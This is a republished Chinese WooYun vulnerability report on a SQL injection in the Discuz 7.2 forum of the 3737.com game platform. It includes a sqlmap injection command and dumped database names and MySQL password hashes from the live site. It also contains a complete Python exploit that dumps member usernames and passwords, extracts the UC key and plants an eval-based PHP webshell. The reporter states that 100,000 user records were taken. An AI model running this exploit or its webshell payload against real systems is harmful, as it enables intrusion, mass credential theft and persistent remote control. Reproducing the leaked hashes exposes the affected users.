游戏安全之3737游戏平台某处严重安全缺陷+应用配置不当(可Union跨库查询/涉及400W+用户信息) admin 140665文章 117评论 2017年5月2日15:18:09评论313 views字数 244阅读0分48秒阅读模式 摘要2016-05-06: 细节已通知厂商并且等待厂商处理中 2016-05-06: 厂商已经确认,细节仅向厂商公开 2016-05-16: 细节向核心白帽子及相关领域专家公开 2016-05-26: 细节向普通白帽子公开 2016-06-05: 细节向实习白帽子公开 2016-06-20: 细节向公众公开 漏洞概要 关注数(3) 关注此漏洞 缺陷编号: WooYun-2016-204072 漏洞标题: 游戏安全之3737游戏平台某处严重安全缺陷+应用配置不当(可Union跨库查询/涉及400W+用户信息) 相关厂商: 3737.com 漏洞作者: Exploit DB 提交时间: 2016-05-06 12:52 公开时间: 2016-06-20 13:00 漏洞类型: SQL注射漏洞 危害等级: 高 自评Rank: 20 漏洞状态: 厂商已经确认 漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系 Tags标签: 无 0人收藏 漏洞详情 披露状态: 2016-05-06: 细节已通知厂商并且等待厂商处理中 2016-05-06: 厂商已经确认,细节仅向厂商公开 2016-05-16: 细节向核心白帽子及相关领域专家公开 2016-05-26: 细节向普通白帽子公开 2016-06-05: 细节向实习白帽子公开 2016-06-20: 细节向公众公开 简要描述: RT. 详细说明: #1 SQL注入 Discuz7.2 faq.php sql注射:http://bbs.3737.com/faq.php 今天下午这个搞我蒙蔽了 用网上的EXP可以直接爆出管理员密码 但是用sqlmap却跑不出库 搞了好久 最后终于成功用sqlmap跑出库了 需要用的tamper脚本:between code 区域 sqlmap.py -u "http://bbs.3737.com//faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema%20.tables%20group%20by%20x)a)%23" --tamper=between code 区域 available databases [23]: [*] flashgame [*] flashgame_25371 [*] flashgame_68910 [*] flashgame_93981 [*] game_resource [*] information_schema [*] mysql [*] nagios [*] newtop_bbs [*] newtop_count [*] newtop_new_union [*] newtop_ucenter [*] newtop_union [*] newtop_web [*] phpcms_gameinfo [*] union_789un [*] zhanqun_17daji [*] zhanqun_443399 [*] zhanqun_60853 [*] zhanqun_67139 [*] zhanqun_79307 [*] zhanqun_83586 [*] zhanqun_91daji code 区域 [*] cms_root [1]: password hash: *024DF021986F236BC2A3EA64AFEC60EB1AC8074B [*] count_web [1]: password hash: *6861336D04C89DFE419FE5FE7D78A5C5FB8162DE [*] flashgame [1]: password hash: *5DC1BCC8A9D7885317EA5FE1B75E4E6DE112E8A7 [*] nagios [1]: password hash: *7031B081B84542E16AD42D87786B8AA7CE97FE0E [*] root [3]: password hash: *2D03EB2825EA49D52E4619CFBE89AE1500D7B43A password hash: *5FE18C4F40A4A227BCC8B68A488167A73171F4E2 password hash: *6783102CC331B93B27DC1B4CE64163E678802A63 [*] select_db_count [1]: password hash: *6783102CC331B93B27DC1B4CE64163E678802A63 [*] slave_admin [1]: password hash: *562C5917A97191E45065E86D5982F9072E1FEEA6 [*] top_web [1]: password hash: *621D52A9095F131E30E786FA77D5DB8DDB592D22 [*] xiaobei [2]: password hash: *6783102CC331B93B27DC1B4CE64163E678802A63 password hash: *79AC804D12E3482563B4012D758D182AFF8C98D4 两个都是400W+ 保守估计这两个应该用户是一样的 用网上公开的EXP可以快速脱裤 code 区域 #!/usr/bin/env python # -*- coding: gbk -*- # -*- coding: utf_8 -*- # author iswin import sys import hashlib import time import math import base64 import urllib2 import urllib import re def sendRequest(url,para): try: data = urllib.urlencode(para) req=urllib2.Request(url,data) res=urllib2.urlopen(req,timeout=20).read() except Exception, e: print 'Exploit Failed!/n%s'%(e) exit(0); return res def getTablePrefix(url): print 'Start GetTablePrefix...' para={'action':'grouppermission','gids[99]':'/'','gids[100][0]':') and (select 1 from (select count(*),concat((select hex(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'} res=sendRequest(url,para); pre=re.findall("Duplicate entry '(.*?)'",res); if len(pre)==0: print 'Exploit Failed!' exit(0); table_pre=pre[0][:len(pre[0])-1].decode('hex') table_pre=table_pre[0:table_pre.index('_')] print 'Table_pre:%s'%(table_pre) return table_pre def getCurrentUser(url): para={'action':'grouppermission','gids[99]':'/'','gids[100][0]':') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'} res=sendRequest(url,para) pre=re.findall("Duplicate entry '(.*?)'",res) if len(pre)==0: print 'Exploit Failed!' exit(0); table_pre=pre[0][:len(pre[0])-1] print 'Current User:%s'%(table_pre) return table_pre def getUcKey(url): para={'action':'grouppermission','gids[99]':'/'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'} para1={'action':'grouppermission','gids[99]':'/'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,63,2) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'} res=sendRequest(url,para); res1=sendRequest(url,para1); key1=re.findall("Duplicate entry '(.*?)'",res) key2=re.findall("Duplicate entry '(.*?)'",res1) if len(key1)==0: print 'Get Uc_Key Failed!' return '' key=key1[0][:len(key1[0])-1]+key2[0][:len(key2[0])-1] print 'uc_key:%s'%(key) return key def getRootUser(url): para={'action':'grouppermission','gids[99]':'/'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(user,0x20,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'} res=sendRequest(url,para); pre=re.findall("Duplicate entry '(.*?)'",res) if len(pre)==0: print 'Exploit Failed!' exit(0); table_pre=pre[0][:len(pre[0])-1].split(' ') print 'root info:/nuser:%s password:%s'%(table_pre[0],table_pre[1]) def dumpData(url,table_prefix,count): para={'action':'grouppermission','gids[99]':'/'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(username,0x20,password) from %s_members limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'%(table_prefix,count)} res=sendRequest(url,para); datas=re.findall("Duplicate entry '(.*?)'",res) if len(datas)==0: print 'Exploit Failed!' exit(0) cleandata=datas[0][:len(datas[0])-1] info=cleandata.split(' ') print 'user:%s pass:%s'%(info[0].decode('utf-8').encode('cp936'),info[1]) def microtime(get_as_float = False) : if get_as_float: return time.time() else: return '%.8f %d' % math.modf(time.time()) def get_authcode(string, key = ''): ckey_length = 4 key = hashlib.md5(key).hexdigest() keya = hashlib.md5(key[0:16]).hexdigest() keyb = hashlib.md5(key[16:32]).hexdigest() keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:] cryptkey = keya + hashlib.md5(keya+keyc).hexdigest() key_length = len(cryptkey) string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string string_length = len(string) result = '' box = range(0, 256) rndkey = dict() for i in range(0,256): rndkey[i] = ord(cryptkey[i % key_length]) j=0 for i in range(0,256): j = (j + box[i] + rndkey[i]) % 256 tmp = box[i] box[i] = box[j] box[j] = tmp a=0 j=0 for i in range(0,string_length): a = (a + 1) % 256 j = (j + box[a]) % 256 tmp = box[a] box[a] = box[j] box[j] = tmp result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256])) return keyc + base64.b64encode(result).replace('=', '') def get_shell(url,key,host): headers={'Accept-Language':'zh-cn', 'Content-Type':'application/x-www-form-urlencoded', 'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)', 'Referer':url } tm = time.time()+10*3600 tm="time=%d&action=updateapps" %tm code = urllib.quote(get_authcode(tm,key)) url=url+"?code="+code data1='''<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://xxx/');eval($_POST[3]);//</item> </root>''' try: req=urllib2.Request(url,data=data1,headers=headers) ret=urllib2.urlopen(req) except: return "Exploit Falied" data2='''<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://aaa</item> </root>''' try: req=urllib2.Request(url,data=data2,headers=headers) ret=urllib2.urlopen(req) except: return "error" try: req=urllib2.Request(host+'/config.inc.php') res=urllib2.urlopen(req,timeout=20).read() except Exception, e: print 'GetWebshell Failed,%s'%(e) return print "webshell:"+host+"/config.inc.php,password:3" if __name__ == '__main__': print 'DZ7.x Exp Code By iswin' if len(sys.argv)<3: print 'DZ7.x Exp Code By iswin/nusage:python dz7.py http://www.waitalone.cn 10' exit(0) url=sys.argv[1]+'/faq.php' count=int(sys.argv[2]) user=getCurrentUser(url) if user.startswith('root@'): getRootUser(url) uc_key=getUcKey(url) if len(uc_key)==64: print 'Start GetWebshell...' get_shell(sys.argv[1]+'/api/uc.php',uc_key,sys.argv[1]) tb_pre=getTablePrefix(url) print 'Start DumpData...' for x in xrange(0,count): dumpData(url,tb_pre,x) 我这因为时间原因只脱了十万条 不继续深入了 漏洞证明: 修复方案: 版权声明:转载请注明来源 Exploit DB@乌云 漏洞回应 厂商回应: 危害等级:高 漏洞Rank:20 确认时间:2016-05-06 12:57 厂商回复: 谢谢,这位白帽子。 最新状态: 暂无 漏洞评价: 对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值 漏洞评价(共0人评价): 登陆后才能进行评分 评价 免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。 点赞 https://cn-sec.com/archives/2978.html 复制链接 复制链接 左青龙 微信扫一扫 右白虎 微信扫一扫
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